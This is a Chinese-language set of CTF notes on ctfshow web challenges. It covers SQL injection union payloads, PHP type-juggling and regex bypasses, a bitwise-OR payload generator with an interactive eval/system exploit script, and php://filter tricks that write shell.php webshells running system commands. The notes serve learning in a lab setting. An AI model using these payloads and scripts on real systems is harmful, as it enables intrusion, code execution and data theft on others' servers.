SQL注入题解与知识

题目一

1
select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;

题目解析

简单的 SQL 注入,Payload 如下:

1
' or 1=1 ; -- 

没有任何过滤就拼接 SQL 语句,导致漏洞产生。下面分析 Payload 的效果:

1
select username,password from user where username !='flag' and id = '"' or 1=1 ; -- "' limit 1;
  • 单引号 ' 与前面的单引号闭合,使后面的 or 1=1 ; -- 被视为 SQL 语句而非字符串。
  • or 1=1 与前面的表达式组合得到 username !='flag' and id = '"' or 1=1
  • where 一般情况下检查表中的每一行,并针对每行计算 where 后的整个表达式的结果,若真则返回该行,反之则跳过。
  • 由于 and优先级or 高,所以最终计算结果恒为 1where 1 会匹配并返回所有行。
  • 分号 ; 结束该句,防止语法错误。
  • 注释符 -- 注释掉后面的双引号、单引号与 limit 1 。防止语法错误,以及绕过原语句中返回结果只有一行的限制。(最后面一定要有空格,关于注释,参考另一篇简单讲解 SQL 注释符的笔记)

题目二

SQL 部分

1
select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;

PHP 片段

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

题目解析

先探测列数:

1
' order by 1 -- 
  • order by :在 SQL 里,ORDER BY 是用于对查询结果进行排序的子句。语法如:
1
ORDER BY column1 [ASC|DESC], column2 [ASC|DESC], ...;

column1 为列,可以是列名,也可以是索引(1,2,3…); [ASC|DESC] 为升降排序的可选项。

  • order by 1 则是测试列数,若无报错(这里应该是空结果,因为 select username,password from ctfshow_user2 where username !='flag' and id = '"' order by 1 -- ,不太可能有某个字段的值为 " )则递增数字,直到报错为止,那么列数即为未报错的最大数字

也可以使用联合查询来探测:

1
' union select 1,2,3,4--  --递增列数
  • union select :在 SQL 中,SELECT 之间用 UNION 连接起来,结果集合并成一个结果集。
    合并要求:

    • 列数必须相同:所有 SELECT 语句的列数必须一致。
    • 数据类型兼容:对应列的数据类型应该兼容(或可隐式转换)。
    • ORDER BY 只能放在最后:合并结果只有一张表,所以 ORDER BY 要放在最后给整张表排序。列名通常继承自第一张表,如果要用列名排序,需要用第一张表的列名。也可以用索引第一张表的别名排序。

    基本语法:

    1
    2
    3
    SELECT column1, column2 FROM table1
    UNION [ALL]
    SELECT column1, column2 FROM table2;

    UNION 默认去重,使用 UNION ALL 合并结果时不去重。

  • union select 1,2,3,4 测试列数。可以把 select 1,2,3,4 看作联合查询时自定义添加一行内容 1,2,3,4由于联合查询时列数必须相同,所以当无报错时,说明列数正确;如果报错,则修改列数再次测试,直到不报错。

确定列数后,利用联合查询,按照下列步骤获得 flag :

1
2
3
4
' union select 1,database()--  --返回数据库名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='<库名>' -- --获取数据库里的表名
' union select 1,group_concat(column_name) from information_schema.columns where table_name='<表名>' -- --获取表内字段名
' union select 1,group_concat(<字段名>) from 表名 -- --获取字段值(不要用username字段,会被后续的PHP脚本过滤掉)
  • database() :MySQL内置函数,返回当前连接的数据库名。
  • information_schema :虚拟的数据库,并不实际存储数据,由数据库系统根据元数据动态生成。包含数据库中所有数据库的信息、数据库中所有表的详细信息、数据库中所有列的信息与关于索引的元数据以及其他一些信息等等。
  • information_schema.tables :包含了数据库中所有表的信息,如表名、表类型、存储引擎、行数、创建时间、更新时间等。此处用于获取当前数据库中有哪些表
  • where table_schema='<库名>'table_schema 是表中的一个字段,表明该表位于哪个数据库。
  • information_schema.columns :大致同上,此处用于获取目标表中有哪些列
  • where table_name='<表名>' :大致同上,表明列在哪张表中。
  • group_concat() :将多行结果合并成逗号分隔的字符串,全部表示在一行中。

整个过程,就是利用联合查询与数据库的特性得到各种信息,最后得到 flag 。

$_SERVER 数组

PHP 的 $_SERVER 是一个预定义的超全局数组,它存储了服务器和当前请求的相关信息。这些信息包括请求头、脚本路径、客户端信息等,具体内容取决于服务器环境(如 Apache、Nginx)。

可以将 $_SERVER 数组的元素按来源和用途分为以下几类:

1. 服务器信息

这些值由 Web 服务器(如 Apache/Nginx) 生成,描述服务器自身的配置和环境。

元素名 来源说明
SERVER_SOFTWARE 服务器软件名称(如 Apache/2.4.41nginx/1.18.0)。
SERVER_NAME 服务器域名(基于虚拟主机配置)。
SERVER_ADDR 服务器 IP 地址。
SERVER_PORT 服务器监听的端口(如 80443)。
SERVER_PROTOCOL HTTP 协议版本(如 HTTP/1.1)。
DOCUMENT_ROOT 网站根目录的绝对路径(如 /var/www/html)。

2. 客户端请求信息

这些值由 客户端(浏览器/设备) 发送的 HTTP 请求头提供,其中 HTTP_* 开头的字段(如 HTTP_REFERERHTTP_USER_AGENT均来自客户端请求头,也就是可以通过修改请求头自定义写入 $_SERVER 数组的元素。

元素名 来源说明
REQUEST_METHOD HTTP 请求方法(如 GETPOST)。
HTTP_USER_AGENT 客户端浏览器和操作系统信息(如 Mozilla/5.0... Chrome/120.0...)。
HTTP_REFERER 用户来源页面的 URL(可能为空或被篡改)。
HTTP_ACCEPT_LANGUAGE 客户端接受的语言(如 en-US,en;q=0.9)。
HTTP_X_FORWARDED_FOR 经过代理时的客户端原始 IP(需代理服务器支持,可能被伪造)。

例如,如果请求头中添加 Flag: value 字段, $_SERVER 数组中也会生成对应的元素 $_SERVER[HTTP_FLAG] 。注意添加了前缀 HTTP_ 并全部大写。

3. 脚本路径信息

Web 服务器 根据请求的 URL 和文件路径生成。

元素名 来源说明
PHP_SELF 当前脚本的相对路径(如 /index.php)。易受 XSS 攻击,需转义输出!
SCRIPT_FILENAME 当前脚本的绝对路径(如 /var/www/index.php)。
SCRIPT_NAME 当前脚本的路径(与 PHP_SELF 类似,但更安全)。
REQUEST_URI 请求的 URI(包含查询参数,如 /page.php?id=1)。
QUERY_STRING URL 中的查询字符串(如 id=1&name=test )。

4. 客户端网络信息

Web 服务器 从 TCP/IP 连接中获取,部分可能被代理影响。

元素名 来源说明
REMOTE_ADDR 客户端 IP 地址(直接连接的 IP,代理场景下可能是代理服务器 IP)。
REMOTE_PORT 客户端使用的端口号。

5. HTTPS 和安全相关

Web 服务器 根据连接协议生成。

元素名 来源说明
HTTPS 如果通过 HTTPS 访问,值为 on,否则为空。
REQUEST_SCHEME 请求的协议(如 httphttps)。
SERVER_PORT_SECURE 如果使用 HTTPS,值为 1,否则为空(部分服务器支持)。

6. 其他特殊字段

元素名 来源说明
GATEWAY_INTERFACE 服务器使用的 CGI 版本(如 CGI/1.1)。
PATH_TRANSLATED 服务器将路径映射到文件系统的结果(部分服务器支持)。

PHP 特性题目

题目一

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

解题思路

  • preg_match() 函数传入的参数只能是字符串,如果传入数组会报错,返回 FALSE

  • intval() 函数将变量转换为整数类型。

  • 当字符串是纯数字时,能正常转换为整数。

  • 若字符串开头不是数字,转换结果为 0。

  • 字符串开头为数字,会把开头的数字部分转换为整数,其他省略。

  • intval() 函数传入值为数组,当数组为空时返回 0 ,数组不为空时返回 1 。

  • 构造 Payload :

    1
    ?num[]=1

    tips:在 URL 参数名后面加上 [] 来表明这是一个数组参数,每个数组元素作为一个单独的参数键值对,参数名相同,例如:

    1
    ?num[]=1&num[]=2&num[]=3

题目二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

解题思路

  • /^php$/im :按行匹配,不区分大小写,匹配是否有一行的内容完全对应 php

  • /^php$/i :不区分大小写,匹配整段字符串的内容是否为 php

  • 注意:按行匹配是以换行符 %0A 为每行的结尾来区分每行、进行匹配的,也就是说下面这种情况只能算一行:

    1
    ?cmd=php%0A

    如果是下面这种情况就算两行,也就是本题 Payload :

    1
    ?cmd=%0Aphp

题目三

类似的题,只需要参考下列题目变换 Payload 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题思路

  • === 参考 JavaScript ,不仅数值要相等,数据类型也要相等。

  • intval($num,0) :当参数二为 0 时,表示根据字符串格式自动选择合适的进制来完成转换。

  • 构造 Payload :

    1
    2
    3
    4
    5
    6
    7
    ?num=0x117C
    ?num=010574 (0开头是八进制)
    ?num=+4476
    ?num=4476+1-1
    ?num=4476.1
    ?num=4476e1 (科学计数法)
    ?num=4476' (开头为数字时会把开头的数字部分转换为数字,其他忽略)

题目三变体一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题思路

== 两边分别为字符串与数字时,会将字符串转换为数字再比较。转换过程没搞懂,暂时问不清楚!

请看 Payload :

1
2
3
4
?num=0x117C
?num=010574
?num=4476.1
?num=4476e1

题目三变体二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题思路

又过滤了字母,还好前面总结的 Payload 够多。

请看 Payload :

1
2
?num=010574
?num=4476.1

题目三变体三

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

解题思路

放宽了等于的条件,又加了一个条件,strpos() 返回某字符首次出现的位置,所以必须有 00 不能出现在首位。

请看 Payload :

1
2
3
?num=%20010574   (加了一个空格的八进制数值,核心是加符号还有0)
?num=4476.0
?num=4476+0

题目四

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

Payload :

1
?u=./flag.php

题目五

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

解题思路

md5() 函数传入非字符串类型参数时会返回 false ,此处可传入两个数组使 md5() 函数返回 false ,于是 false === false 绕过 MD5 校验成功。

Payload:

1
{"a[]":1,"b[]":2}  # requests 脚本 data 参数

题目六

1
2
3
4
5
6
7
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

解题思路

本题有四个三元运算符:

第一个判断是否定义了 $_GET 数组,若定义了,用 $_POST 数组给 $_GET 数组引用赋值=& );若未定义,返回字符串 flag (不会返回到哪里去,后面也是)。

引用赋值 =& ,类似指针,让 $_GET$_POST 指向同一个数据,之后对 $_GET 的操作会直接影响 $_POST,反之亦然。

第二个判断 $_GET 数组里的 $_GET['flag'] 元素的值是否等于 flag ,结合前面的引用赋值,就是判断 $_POST[flag] 元素的值是否等于 flag 。如果等于,则用 $_COOKIE 数组给 $_GET 数组引用赋值。

第三个与第二个同理,不过最后会用 $_SERVER 数组给 $_GET 数组引用赋值。

第四个判断 $_SERVER 数组中的 $_SERVER['HTTP_FLAG'] 元素的值是否等于 flag 。如果等于则会将 $flag 变量作为文件名语法高亮(其实就是找不到该文件时会报错,把 $flag 变量的值回显在前端)。

所以构造 URL 、请求体、 Cookie 与请求头字段即可得到 flag 。

Python 脚本解法

1
2
3
4
5
6
7
8
9
10
import requests

url = "目标URL"
params = { "a": "1" } # URL 传参
data = { "flag": "flag" } # POST 数据
cookies = { "flag": "flag" } # Cookie
headers = { "FLAG": "flag" } # 设置 HTTP 头

response = requests.post( url, params=params, headers=headers, cookies=cookies, data=data )
print(response.text)

headers = { "FLAG": "flag" } 的键名为什么不是 HTTP_FLAG 而是 FLAG :PHP 会把请求头的所有字段转化为大写并加上前缀 HTTP_ 再写入 $_SERVER 数组,每个字段都对应一个元素。$_SERVER 数组的详细介绍可查看我写的关于 $_SERVER 数组的介绍。

题目七

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

解题思路

随机生成 1 到 0x36d 也就是 877 的数字,并添加到 $allow[] 数组中。随后比对数组元素 $_GET['n'] 的值是否在数组 $allow[] 中,并以 $_GET['n'] 的值为文件名,将 $_POST['content'] 写入文件。

此处的 in_array() 不是严格模式,会转换,根据 PHP 特性,开头为数字的字符串被转化为数字时,后面的字符串会被去掉,所以可以构造 Payload :

1
2
params = {"n":"10.php"}  # 那么多次随机数总该生成 10 吧
data = {"content":"<?php system('ls');"}

通过文件名 10.php 来使该文件被访问时会被当成 PHP 文件处理,从而执行恶意代码。

题目八

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# php7.3
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

解题思路

逻辑运算符 and 的优先级没有 &&,像 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 这样写会导致 $v0 先被赋值,再进行后面的与运算(单纯的表达式,没有返回结果给任何变量)。

所以 $v2$v3 不用是数字,可以把 $v2 作为要执行的语句,给 $v3 赋值为 ; 通过第二层条件判断。

Payload:

1
?v1=1&v2=var_dump($ctfshow)&v3=;

$v2 后面的 ('ctfshow')$v3") 会直接报错,但 var_dump() 正常执行。

最后得到的 flag 故意没加 - ,需要自己把 0x2d 转换成 -

题目九

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# php7.3
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>

php7.3

解题思路

与之前相同,and 优先级更低,所以只需满足 $v2 是数字。

此外, $v2 的前两位会被切割掉,所以前两位要补位。

然后用 call_user_func() 函数调用名称为变量 $v1 的值的函数,参数为被切割后的 $v2

最后将用户调用函数返回的结果写入文件,文件名为 $v3 的值。

如果是 php5 版本,这道题会容易很多,因为数字后出现的字母会被直接忽略,只要字符串开头是数字,整个字符串就会被识别为数字。但是到了本题的 php7.3 ,哪怕是十六进制数也不会被判定为数字(我尝试用十六进制与 hex2bin() 函数绕过,已失败),只能取巧解题。

1
2
3
<?=`$_POST[0]`;
PD89YCRfUE9TVFswXWA7
5044383959435266554539545646737758574137
1
2
3
<?=`cat *`;
PD89YGNhdCAqYDs=
5044383959474e68644341715944733d # 删去最后两位

第一个 Payload 的 Base64 编码的高四位与低四位转化为十六进制在 0 到 9 范围内,不会出现字母,可完美绕过 is_numeric() 函数。

第二个 Payload 删去最后两位后(影响不大),只有数字和字母 e ,被当成科学计数法从而实现绕过。

Python 脚本解法

1
2
3
4
5
6
7
8
9
import requests

url = "目标URL"
data = {"v1":"hex2bin"}
params = {"v2":"随便两位补位数字+十六进制的Payload","v3":"php://filter/write=convert.base64-decode/resource=shell.php"}

response = requests.post(url,params=params,data=data)

print(response.text)

第一个 Payload 需要用 POST 方法发送要执行的命令,但功能完整;第二个只能查看网站根目录已有的文件的内容。

题目十

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

解题思路

既然能够用变量变量赋值,那么不妨开阔思路,让 die($error) 返回前端的结果为 flag 。

除开前面两个无法修改的 die() ,最后的两个 die() 都可以通过变量变量赋值为 flag 。不过要注意,应该先在禁止键为 $error$_GET 数组的遍历中用 $flag$suces 赋值,再在禁止值为 $flag$_POST 数组的遍历中用 $suces$error 赋值,方可得到 flag 。

Payload:

1
2
data = {"error":"suces"}
params = {"suces":"flag"}

题目十一

利用或运算活字印刷

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

本题过滤了大量字符,但留了 | 运算符未被过滤,则可通过按位或运算逐字得到我们要执行的命令。

原理分析

| 运算符指按位或运算,可将数值、字符等在二进制层面进行或运算:

1
2
3
4
echo "a" | "b";
# 01100001 (字符 "a" 的 ASCII 码值 97 转换为二进制)
# 01100010 (字符 "b" 的 ASCII 码值 98 转换为二进制)
# 输出 c ( 01100011 ,字符 "c" 的 ASCII 码值 98 转换为二进制)

了解了原理,看看大佬([羽](ctfshow web入门 web41_ctfshow web41-CSDN博客))写的脚本吧:

脚本一(PHP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { # 遍历 0 到 255 (有冗余,其实到 127 即可)
for ($j=0; $j <256 ; $j++) {

if($i<16){ # 补齐小于 16 的十六进制数长度
$hex_i='0'.dechex($i); # dechex() 函数将十进制转换为十六进制
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ # hex2bin() 函数将十六进制数值转换为原始二进制数据,如果有对应的 ASCII 字符,则输出字符
echo ""; # 只有两个字符都未被过滤的情况下,才会用于合成被过滤的字符,否则不进行任何操作
}

else{
$a='%'.$hex_i; # URL 编码前 128 位与 ASCII 码一致
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) { # ASCII 码前 32 位是控制字符,不可打印且无可见意义(但可用于或运算);第 128 位是删除符,不可打印
$contents=$contents.$c." ".$a." ".$b."\n"; # 在 rce_or.txt 文件中在每行按照 A %01 %40 这样的形式拼接字符串
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

脚本二(Python):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# exp.py
# 运行时在命令行中输入 python exp.py <目标url>
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import * # 会将 sys 模块中的所有公共对象导入到当前命名空间,所以下面可以直接使用 argv 而无需使用 sys. 前缀
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2): # 纠错机制,格式错误程序会正常退出
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1] # 将用户输入的第二个参数作为 URL (注意“python exp.py <url>”中首个参数从脚本文件名开始而不是从 python 开始)
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline() # 每次循环文件指针后移一位, readline() 读取下一行
if t=="":
break # 若读取到文件末尾都没对应字符,退出循环
if t[0]==i:
#print(i)
s1+=t[2:5] # 分别读取每行三个部分如 A %01 %40 的内容
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")" # ("..."|"...") 拼接出准备与运算的字符串
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:")) # 将函数与命令拼接为 ("system")("ls") 的形式(等价于 system("ls") ,此乃变量函数机制,PHP 特性)
data={
'c':urllib.parse.unquote(param) # URL 解码
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

后面如果遇到可以用或运算活字印刷的,可以改一下该脚本或者自己写类似的脚本。

$_GET 与 $_POST 数组相关知识

在PHP中,$_GET$_POST 是两种独立的超全局数组,它们的参数来源和处理逻辑有本质区别:

$_GET 的底层逻辑

  • 参数来源URL查询字符串(如 ?key1=value1&key2=value2)。
  • 无关请求方法:无论请求是 GETPOST 还是其他方法,只要URL中存在查询字符串,PHP都会自动解析到 $_GET 数组中。

$_POST 的底层逻辑

  • 参数来源请求体(Body),且仅当请求头的 Content-Typeapplication/x-www-form-urlencodedmultipart/form-data 时(如表单提交)。
  • 依赖请求方法:只有使用 POST 方法时,PHP才会自动解析请求体到 $_POST 数组。
  • 注意:如果要在 Burp Suite 中将 GET 请求修改为 POST 请求并修改请求体,请在修改完请求行的 GET 后在右侧 Inspector 内修改请求体,否则 Burp Suite 不会自动向请求头中添加 Content-Type 字段,导致参数无法传给 $_POST 数组。

由此可得:只要 URL 中存在查询字符串,都会被解析到 $_GET 数组;但 $_POST 数组依赖 POST 方法与请求头,条件不满足时会有参数无法传到 $_POST 数组中的情况。

关于 php://input 伪协议

php://input 伪协议可用于读取请求体的原始数据,不管请求方法是 GET 还是 POST 还是其他方法。类似 URL 传参时的 $_GET 数组。

filter 伪协议绕过 die(Web87)

这道题不能再用条件竞争了。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
highlight_file(__FILE__);
}

简单说说题目:

该题会将 $_GET 数组中的 file 参数 URL 解码,然后以解码后的 file 参数作为文件路径/文件名,生成一个内容由字符串 <?php die('大佬别秀了');?>$_POST 数组中的 content 参数的值拼接而成的文件。

urldecode():URL 解码。

file_put_contents():为文件写入内容,默认覆盖写。

由于会 URL 解码,所以前面的一串过滤都可以简单绕过。但有 die() 函数,会立刻停止脚本,所以要想办法阻碍该函数执行。

解法一:Base64

可以用 php://filter 伪协议,使写入文件时内容经过 Base64 解码,同时在 content 参数中传入 Base64 编码后的 Payload 以达到绕过 die() 函数、执行恶意代码的目的( 原本正常的 die() 函数被解码为乱码):

1
php://filter/write=convert.base64-decode/resource=shell.php

由于有 urldecode() 函数,所以可以对 Payload 进行 URL 转码以绕过过滤:

1
%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%73%68%65%6C%6C%2E%70%68%70

此处简单粗暴全部转码。另外, file 参数通过 URL 传参到服务器时,会被 URL 解码,为了使 Payload 不要过早暴露被过滤,进行第二次转码(依旧简单粗暴):

1
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30

另外, content 参数也要转码为 Base64 :

1
2
<?php system('tac fl0g.php') ?> (跳过前面的 ls ,直接演示最后一步了)
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKSA/Pg==

用 Burp Suite 抓包,将 GET 改为 POST ,修改 URL 参数,然后修改请求体。

由于 Base64 的处理特性(详情请自行查找), content 要加两个字符(这里用 aa )以保证转码后恶意代码正常:

1
content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKSA/Pg==

最后发包并访问 /shell.php 即可。

解法二:ROT13

与 Base64 原理相同,也是将编码处理后的 Payload 进行解码再写入文件,同时使 die() 函数无效化。

ROT13 用同一套算法既可以编码又可以解码。以下为 Payload :

1
php://filter/write=string.rot13/resource=shell.php

二次 URL 编码:

1
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

content 参数:

1
2
<?php system('tac fl0g.php') ?>
<?cuc flfgrz('gnp sy0t.cuc') ?>

抓包与修改同上,但不用加什么字符:

1
content=<?cuc flfgrz('gnp sy0t.cuc') ?>

最后发包并访问 /shell.php 即可。

条件竞争变体题目

题目一

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);

session_unset(): 清空 $_SESSION 数组( Session 文件/数据存在)。

session_destroy() :删除 Session 文件/数据。

然而上面的函数不影响创建新的 Session 文件,且 PHP_SESSION_UPLOAD_PROGRESS 机制不依赖代码中的 session_start(),而是由 PHP 内核在检测到上传进度跟踪时自动处理。

依旧是利用 PHP_SESSION_UPLOAD_PROGRESS 生成 Session 文件,后面就简单了。

题目二

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

system("rm -rf /tmp/*"); 删除所有 Session 文件。但脚本里留了后门,只删除 Session 文件没用。

题目三

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

该题会检查 Session 文件中 < 符号是否存在,存在的话它在不在第一个位置。

如果不存在,false 会被转换为整数 0 ,最终 strpos($content, "<") > 0 这个条件判断结果会是 false ,执行 include($file)

如果存在但不在第一个位置,会立即结束当前脚本,反之则会继续执行 include($file)

但当大量线程上传文件时,不断重写唯一的 Session 的内容,导致可能有一段时间没有 < 符号,绕过检查;但在文件包含时又写入了 Payload ,导致读取到的文件包含恶意代码。

题目四

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);

}else{
highlight_file(__FILE__);
}

**set_include_path **:用于设置 PHP 脚本在使用 includerequire 等语句包含文件时的优先搜索路径。

因为是优先,找不到还是要去其他路径找,并没有什么用。

Python-requests

requests 库简介

requests 库是 Python 中用于发送 HTTP 请求的常用库,以下通过实例简单介绍一下用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

# 目标 URL
url = 'https://www.example.com'

# 发送 GET 请求
response = requests.get(url)

# 检查响应状态码
if response.status_code == 200:
# 打印响应内容
print('响应内容:')
print(response.text)
else:
print(f'请求失败,状态码:{response.status_code}')

requests 库中基于 HTTP 请求方法内置了大量方法,如:

  • requests.get(url, params=None, **kwargs):发送 HTTP GET 请求以从服务器获取资源。
  • requests.post(url, data=None, json=None, **kwargs):发送 HTTP POST 请求,通常用于向服务器提交数据。
